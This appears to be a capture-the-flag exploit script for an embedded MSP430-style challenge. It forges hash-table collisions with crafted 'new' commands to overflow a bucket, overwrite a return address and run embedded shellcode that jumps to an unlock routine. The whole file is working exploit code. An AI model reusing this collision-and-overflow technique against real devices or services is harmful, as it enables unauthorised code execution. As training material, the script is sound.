#!/usr/bin/env python3 # user info user_struct_size = 0x12 # User is a tuple of (char[16], i16) users_per_box = 0x5 # Stack info ret_stack_addr = 0x3dce - 0x0004 # 3nd index of header struct ret_addr = 0x49a2 # Address that will be returned to stackbuffer_top = 0x3df0 - 0x0006 # top of stack buffer, PLUS "new " target_offset = ((stackbuffer_top - ret_addr) & 0xffff) + 1 print(f"{ret_stack_addr = :x}, {ret_addr = :x}, {target_offset = :x}"); bnew = b'new ' clobber = ret_stack_addr.to_bytes(2, 'little').hex() + 'fc50' + target_offset.to_bytes(2, 'little').hex() ''' sub.b #1, r8 5883 swpb r8 8810 mov r8, sr 0248 mov #4cfc, pc 3040 fc4c ''' payload = "5883 8810 0248 3040fc4c" # Hash function, which governs the boxes def hash(byts: bytes): ret = 0; for c in byts: ret += c ret = ((ret << 5) - ret) & 0xffff return ret # Fix a string by adding a character that causes a hash collision def fixhash(name:bytes, box:int, modulus:int): error = box - (hash(name) % modulus) if error % modulus == 0: return name name += (ord("@")+error+modulus).to_bytes(1, "big") print(f"{name.hex() = }; {error = }; new box = {hash(name) % modulus}") return name def a2h (s: str): return bytes(s, 'ascii').hex() payload = f'{a2h("new ")} {fixhash(bytes.fromhex(payload), 0, 16).hex()} {a2h(" ;new 8 ;new @ ;new H ;new P ;")} {bnew.hex()} {fixhash(bytes.fromhex(clobber), 0, 16).hex()} {a2h(" ;new 1 ;new 9 ;new A ;new I ;new Q ;new")}' print(payload) exit(0) while 1: name, box = input("> ").split() print(fixhash(bytes(name, "ascii"), int(box), 16).decode('ascii'));